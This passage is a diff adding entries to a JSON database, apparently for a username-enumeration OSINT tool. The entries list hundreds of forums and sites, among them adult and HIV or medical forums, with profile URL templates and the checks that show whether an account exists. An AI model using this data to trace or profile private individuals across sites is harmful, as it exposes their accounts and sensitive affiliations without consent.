"absenceStrs": [ + "We couldn't find that user", + "Page Not Found" + ], + "alexaRank": 24562, + "urlMain": "https://www.sparkpeople.com", + "url": "https://www.sparkpeople.com/mypage.asp?id={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Orbys": { + "tags": [ + "us" + ], + "checkType": "message", + "presenseStrs": [ + "profile_user_image" + ], + "absenceStrs": [ + "The page you are looking for cannot be found." + ], + "alexaRank": 305135, + "urlMain": "https://orbys.net", + "url": "https://orbys.net/{username}", + "usernameClaimed": "txmustang302", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "spletnik": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "alexaRank": 13818, + "urlMain": "https://spletnik.ru/", + "url": "https://spletnik.ru/user/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "sports.ru": { + "tags": [ + "ru", + "sport" + ], + "checkType": "status_code", + "alexaRank": 1451, + "urlMain": "https://www.sports.ru/", + "url": "https://www.sports.ru/profile/{username}/", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "sportsjournalists.com": { + "tags": [ + "forum", + "us" + ], + "engine": "XenForo", + "alexaRank": 704882, + "urlMain": "http://sportsjournalists.com/forum/", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "stalkerbar.at.ua": { + "engine": "uCoz", + "urlMain": "http://stalkerbar.at.ua", + "usernameClaimed": "admin", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "studentur.com.ua": { + "tags": [ + "ua" + ], + "engine": "uCoz", + "alexaRank": 5842130, + "urlMain": "http://studentur.com.ua", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "svidbook": { + "disabled": true, + "checkType": "status_code", + "alexaRank": 8078109, + "urlMain": "https://www.svidbook.ru/", + "url": "https://www.svidbook.ru/user/{username}", + "usernameClaimed": "green", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "swedroid.se": { + "tags": [ + "forum", + "se" + ], + "engine": "XenForo", + "alexaRank": 95322, + "urlMain": "http://swedroid.se/forum", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "swiftbook": { + "tags": [ + "forum", + "ru" + ], + "engine": "Discourse", + "alexaRank": 516808, + "urlMain": "https://forum.swiftbook.ru", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "takr-kiev.ucoz.com": { + "engine": "uCoz", + "urlMain": "http://takr-kiev.ucoz.com", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "tarjaturunen.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://tarjaturunen.ucoz.ru", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "tdo888.at.ua": { + "engine": "uCoz", + "urlMain": "http://tdo888.at.ua", + "usernameClaimed": "admin", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "techspot.com": { + "tags": [ + "forum", + "us" + ], + "errors": { + "You must be logged-in to do that.": "Login required" + }, + "engine": "XenForo", + "alexaRank": 3685, + "urlMain": "http://www.techspot.com/community/", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "tfw2005.com": { + "tags": [ + "forum", + "us" + ], + "engine": "XenForo", + "alexaRank": 107783, + "urlMain": "http://www.tfw2005.com/boards/", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "thaicat.ru": { + "engine": "uCoz", + "alexaRank": 2591501, + "urlMain": "http://thaicat.ru", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "the-mainboard.com": { + "tags": [ + "forum", + "us" + ], + "engine": "XenForo", + "alexaRank": 1232016, + "urlMain": "http://the-mainboard.com/index.php", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "theburningprocess.com": { + "engine": "XenForo", + "urlMain": "http://www.theburningprocess.com/", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum" + ], + "disabled": true + }, + "theprodigy": { + "disabled": true, + "tags": [ + "forum", + "ru", + "ua" + ], + "checkType": "message", + "absenceStrs": [ + "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c, \u0447\u0435\u0439 \u043f\u0440\u043e\u0444\u0438\u043b\u044c \u0432\u044b \u043f\u044b\u0442\u0430\u0435\u0442\u0435\u0441\u044c \u043f\u043e\u0441\u043c\u043e\u0442\u0440\u0435\u0442\u044c, \u043d\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442." + ], + "alexaRank": 1785488, + "urlMain": "https://forum.theprodigy.ru/", + "url": "https://forum.theprodigy.ru/index.php?board=13&action=viewprofile&user={username}", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "theturboforums.com": { + "tags": [ + "forum", + "us" + ], + "engine": "XenForo", + "alexaRank": 468075, + "urlMain": "https://www.theturboforums.com/forums/", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "thewholesaleforums.co.uk": { + "tags": [ + "forum", + "in" + ], + "engine": "XenForo", + "alexaRank": 410075, + "urlMain": "http://www.thewholesaleforums.co.uk/", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "tigerfan.com": { + "engine": "XenForo", + "alexaRank": 8504929, + "urlMain": "http://www.tigerfan.com/", + "usernameClaimed": "admin", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum", + "sport" + ] + }, + "tks": { + "tags": [ + "forum", + "ru" + ], + "engine": "vBulletin", + "alexaRank": 64123, + "urlMain": "https://forum.tks.ru/", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "topcheats.ucoz.com": { + "engine": "uCoz", + "urlMain": "http://topcheats.ucoz.com", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "tracr.co": { + "disabled": true, + "tags": [ + "gaming" + ], + "errors": { + "502 - Bad Gateway": "Site error", + "g-recaptcha": "Captcha detected" + }, + "regexCheck": "^[A-Za-z0-9]{2,32}$", + "checkType": "message", + "absenceStrs": [ + "No search results" + ], + "urlMain": "https://tracr.co/", + "url": "https://tracr.co/users/1/{username}", + "source": "Discord", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "transit-club.com": { + "tags": [ + "ru" + ], + "engine": "uCoz", + "alexaRank": 1224454, + "urlMain": "http://transit-club.com", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "uahack.at.ua": { + "engine": "uCoz", + "urlMain": "http://uahack.at.ua", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "uaodessa.com": { + "engine": "uCoz", + "urlMain": "http://uaodessa.com", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 2222236 + }, + "ucozon.ru": { + "engine": "uCoz", + "alexaRank": 6574568, + "urlMain": "http://ucozon.ru", + "usernameClaimed": "god", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "uID.me (by username)": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "urlMain": "https://uid.me/", + "url": "http://uid.me/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 25111 + }, + "uID.me (by uguid)": { + "tags": [ + "ru" + ], + "type": "uidme_uguid", + "checkType": "status_code", + "alexaRank": 25111, + "urlMain": "https://uid.me/", + "url": "http://uid.me/uguid/{username}", + "usernameClaimed": "1050362129", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "usman48.ru": { + "disabled": true, + "tags": [ + "ru" + ], + "engine": "uCoz", + "alexaRank": 1974421, + "urlMain": "http://usman48.ru", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "valinor.com.br": { + "engine": "XenForo", + "alexaRank": 2008219, + "urlMain": "http://www.valinor.com.br/forum/", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum" + ] + }, + "vauxhallownersnetwork.co.uk": { + "tags": [ + "forum", + "tr" + ], + "engine": "XenForo", + "alexaRank": 393373, + "urlMain": "http://www.vauxhallownersnetwork.co.uk", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "vdv-belarus.ucoz.com": { + "engine": "uCoz", + "urlMain": "http://vdv-belarus.ucoz.com", + "usernameClaimed": "admin", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "by", + "forum", + "military" + ] + }, + "vegalab": { + "tags": [ + "forum", + "ru" + ], + "engine": "vBulletin", + "alexaRank": 99427, + "urlMain": "http://forum.vegalab.ru", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "vento-club.com": { + "engine": "uCoz", + "alexaRank": 5497827, + "urlMain": "http://vento-club.com", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "vii.at.ua": { + "disabled": true, + "engine": "uCoz", + "urlMain": "http://vii.at.ua", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "vilinburg.net": { + "engine": "uCoz", + "urlMain": "http://vilinburg.net", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "virtual-auto.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://virtual-auto.ucoz.ru", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "vishivalochka.ru": { + "engine": "uCoz", + "alexaRank": 1294903, + "urlMain": "http://vishivalochka.ru", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "vovdm.at.ua": { + "engine": "uCoz", + "urlMain": "http://vovdm.at.ua", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "vse1.ucoz.com": { + "engine": "uCoz", + "urlMain": "http://vse1.ucoz.com", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "warcraft3ft.clan.su": { + "engine": "uCoz", + "alexaRank": 6475276, + "urlMain": "http://warcraft3ft.clan.su", + "usernameClaimed": "god", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "warframe.3dn.ru": { + "engine": "uCoz", + "urlMain": "http://warframe.3dn.ru", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "watcheshop": { + "disabled": true, + "tags": [ + "forum", + "ru" + ], + "engine": "vBulletin", + "alexaRank": 9470848, + "urlMain": "http://forum.watcheshop.ru", + "usernameClaimed": "211", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "weaponsas.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://weaponsas.ucoz.ru", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "websecurity.3dn.ru": { + "engine": "uCoz", + "urlMain": "http://websecurity.3dn.ru", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "wowjp.net": { + "disabled": true, + "tags": [ + "ru", + "ua" + ], + "engine": "uCoz", + "alexaRank": 504645, + "urlMain": "http://wowjp.net", + "usernameClaimed": "god", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "wowpaksi.clan.su": { + "disabled": true, + "engine": "uCoz", + "urlMain": "http://wowpaksi.clan.su", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "writingforums.org": { + "tags": [ + "ca", + "forum" + ], + "engine": "XenForo", + "alexaRank": 197365, + "urlMain": "http://www.writingforums.org/", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "ww2aircraft.net": { + "engine": "XenForo", + "urlMain": "https://ww2aircraft.net/forum/", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 894556, + "tags": [ + "forum" + ] + }, + "x-h2o.com": { + "engine": "XenForo", + "alexaRank": 3352857, + "urlMain": "http://www.x-h2o.com/", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum" + ] + }, + "xHamster": { + "tags": [ + "porn", + "us" + ], + "checkType": "message", + "presenseStrs": [ + "user-info-section" + ], + "absenceStrs": [ + "User not found" + ], + "alexaRank": 136, + "urlMain": "https://xhamster.com", + "url": "https://xhamster.com/users/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis77777" + }, + "xakerminus.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://xakerminus.ucoz.ru", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "xenforo.com": { + "tags": [ + "forum", + "in", + "jp", + "tr", + "us" + ], + "engine": "XenForo", + "urlMain": "https://xenforo.com/community/", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 21438 + }, + "z28.com": { + "engine": "XenForo", + "alexaRank": 4724035, + "urlMain": "https://www.z28.com/", + "usernameClaimed": "admin", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum" + ] + }, + "zabselo.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://zabselo.ucoz.ru", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "zid.moy.su": { + "engine": "uCoz", + "alexaRank": 8281383, + "urlMain": "http://zid.moy.su", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Znanylekarz.pl": { + "checkType": "status_code", + "url": "https://www.znanylekarz.pl/{username}", + "usernameClaimed": "janusz-nowak", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "gomel-dogs.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://gomel-dogs.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "rottweiler.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://rottweiler.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "alexaRank": 5993590 + }, + "poteryashka.spb.ru": { + "engine": "uCoz", + "alexaRank": 3058596, + "urlMain": "http://poteryashka.spb.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "lai.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://lai.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "zennenhund.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://zennenhund.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "nada25.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://nada25.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "tags": [ + "forum", + "ru" + ] + }, + "day-lapku.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://day-lapku.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "legendarus-veo.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://legendarus-veo.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "horek-samara.ru": { + "engine": "uCoz", + "urlMain": "http://horek-samara.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "tags": [ + "ru" + ] + }, + "animal-hope.ru": { + "engine": "uCoz", + "alexaRank": 5801383, + "urlMain": "http://animal-hope.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "staffbull.info": { + "disabled": true, + "engine": "uCoz", + "urlMain": "http://staffbull.info", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "alexaRank": 7749226 + }, + "pushok.ucoz.ru": { + "disabled": true, + "engine": "uCoz", + "urlMain": "http://pushok.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "pskovfaunaclub.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://pskovfaunaclub.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "valleykrosava.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://valleykrosava.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "alisaclub.ru": { + "tags": [ + "ru" + ], + "engine": "uCoz", + "alexaRank": 7659436, + "urlMain": "http://alisaclub.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "vadimbondar.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://vadimbondar.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "alka-mine.at.ua": { + "engine": "uCoz", + "urlMain": "http://alka-mine.at.ua", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "alexaRank": 7178891 + }, + "endoctor.ru": { + "engine": "uCoz", + "alexaRank": 5608512, + "urlMain": "http://endoctor.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "n-ataeva.ru": { + "engine": "uCoz", + "urlMain": "http://n-ataeva.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "alexaRank": 7956400 + }, + "oih.at.ua": { + "tags": [ + "ua" + ], + "engine": "uCoz", + "alexaRank": 4180623, + "urlMain": "http://oih.at.ua", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "vadya.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://vadya.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "uroportal.com.ua": { + "engine": "uCoz", + "urlMain": "http://uroportal.com.ua", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "forum.u-hiv.ru": { + "engine": "uCoz", + "urlMain": "http://forum.u-hiv.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "alexaRank": 1918759, + "tags": [ + "forum", + "medicine", + "ru" + ] + }, + "stroyneemvmeste.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://stroyneemvmeste.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "dr-denisov.ru": { + "engine": "uCoz", + "alexaRank": 2237530, + "urlMain": "http://dr-denisov.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "electronic-cigarette.ru": { + "engine": "uCoz", + "urlMain": "http://electronic-cigarette.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "medkniga.ucoz.net": { + "engine": "uCoz", + "urlMain": "http://medkniga.ucoz.net", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "eyorkie.ucoz.ru": { + "tags": [ + "ru" + ], + "engine": "uCoz", + "alexaRank": 2416579, + "urlMain": "http://eyorkie.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "pankreatitu.ucoz.net": { + "engine": "uCoz", + "urlMain": "http://pankreatitu.ucoz.net", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "sfinx-cats.ucoz.ru": { + "engine": "uCoz", + "alexaRank": 3639009, + "urlMain": "http://sfinx-cats.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "help-baby.org": { + "engine": "uCoz", + "alexaRank": 7465701, + "urlMain": "http://help-baby.org", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "ugri.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://ugri.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "prenatal-club.ucoz.com": { + "engine": "uCoz", + "urlMain": "http://prenatal-club.ucoz.com", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "milnerelena.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://milnerelena.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "zebest.ucoz.ru": { + "engine": "uCoz", + "alexaRank": 3534217, + "urlMain": "http://zebest.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "1klas.3dn.ru": { + "disabled": true, + "engine": "uCoz", + "urlMain": "http://1klas.3dn.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "tags": [ + "ru" + ] + }, + "psy-dv.org": { + "disabled": true, + "engine": "uCoz", + "alexaRank": 7235113, + "urlMain": "http://psy-dv.org", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "medkarta.at.ua": { + "engine": "uCoz", + "urlMain": "http://medkarta.at.ua", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "hmkids.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://hmkids.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "intoclassics.net": { + "tags": [ + "ru" + ], + "engine": "uCoz", + "urlMain": "http://intoclassics.net", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "alexaRank": 171348 + }, + "shanson.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://shanson.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "justmj.ru": { + "engine": "uCoz", + "urlMain": "http://justmj.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "alexaRank": 7483085 + }, + "klas-crew.ucoz.ru": { + "disabled": true, + "engine": "uCoz", + "urlMain": "http://klas-crew.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "allmus.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://allmus.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "psy-music.ru": { + "tags": [ + "fi", + "ru" + ], + "engine": "uCoz", + "alexaRank": 334332, + "urlMain": "http://psy-music.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "rotarusofi.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://rotarusofi.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "videomuzon.ucoz.ru": { + "engine": "uCoz", + "alexaRank": 7386022, + "urlMain": "http://videomuzon.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "webmedia.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://webmedia.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "p1rat.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://p1rat.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "satisfacktion.ucoz.ru": { + "disabled": true, + "engine": "uCoz", + "urlMain": "http://satisfacktion.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "tags": [ + "music", + "ru" + ] + }, + "djfint.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://djfint.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "god" + }, + "aviaforum.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://aviaforum.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "tags": [ + "forum" + ] + }, + "avia-forum.ucoz.ru": { + "engine": "uCoz", + "alexaRank": 5879998, + "urlMain": "http://avia-forum.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "tags": [ + "forum", + "ru" + ] + }, + "ford-mondeoff.ru": { + "engine": "uCoz", + "urlMain": "http://ford-mondeoff.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "lexus-club.at.ua": { + "engine": "uCoz", + "urlMain": "http://lexus-club.at.ua", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "terralight.ucoz.ru": { + "engine": "uCoz", + "alexaRank": 8587882, + "urlMain": "http://terralight.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "john" + }, + "mytrans.3dn.ru": { + "engine": "uCoz", + "urlMain": "http://mytrans.3dn.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "auto63.ru": { + "disabled": true, + "engine": "uCoz", + "alexaRank": 8199034, + "urlMain": "http://auto63.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "tachograph.ucoz.ru": { + "engine": "uCoz", + "alexaRank": 8142326, + "urlMain": "http://tachograph.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "moto-master.ucoz.ru": { + "disabled": true, + "engine": "uCoz", + "alexaRank": 9057568, + "urlMain": "http://moto-master.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "prodigy.moy.su": { + "engine": "uCoz", + "urlMain": "http://prodigy.moy.su", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "wolga24.at.ua": { + "engine": "uCoz", + "urlMain": "http://wolga24.at.ua", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "alexaRank": 7344356 + }, + "w2l-g.ucoz.org": { + "engine": "uCoz", + "alexaRank": 8103283, + "urlMain": "http://w2l-g.ucoz.org", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "scb.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://scb.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "real-sp.ucoz.com": { + "engine": "uCoz", + "urlMain": "http://real-sp.ucoz.com", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "2el5.ucoz.ua": { + "engine": "uCoz", + "alexaRank": 7187783, + "urlMain": "http://2el5.ucoz.ua", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "tags": [ + "ru" + ] + }, + "remzona-ekb.ucoz.ru": { + "engine": "uCoz", + "alexaRank": 8160634, + "urlMain": "http://remzona-ekb.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "serwis.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://serwis.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "wedding-image.ru": { + "engine": "uCoz", + "urlMain": "http://wedding-image.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "cod.by": { + "disabled": true, + "engine": "uCoz", + "urlMain": "http://cod.by", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "klub-skidok.ru": { + "engine": "uCoz", + "urlMain": "http://klub-skidok.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "pubert.company": { + "engine": "uCoz", + "alexaRank": 7881956, + "urlMain": "http://pubert.company", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "avon-kiev.at.ua": { + "engine": "uCoz", + "urlMain": "http://avon-kiev.at.ua", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "avon-registry.com.ua": { + "engine": "uCoz", + "urlMain": "http://avon-registry.com.ua", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "disabled": true + }, + "vracing.3dn.ru": { + "engine": "uCoz", + "urlMain": "http://vracing.3dn.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "john", + "tags": [ + "ru" + ] + }, + "doska.hashmalay.co.il": { + "engine": "uCoz", + "urlMain": "http://doska.hashmalay.co.il", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "john", + "disabled": true + }, + "hitechnic.org": { + "disabled": true, + "engine": "uCoz", + "alexaRank": 7479208, + "urlMain": "http://hitechnic.org", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "team-pros.3dn.ru": { + "engine": "uCoz", + "urlMain": "http://team-pros.3dn.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "ankord.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://ankord.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "deutsch-auto68.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://deutsch-auto68.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "krum.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://krum.ucoz.ru", + "usernameUnclaimed": 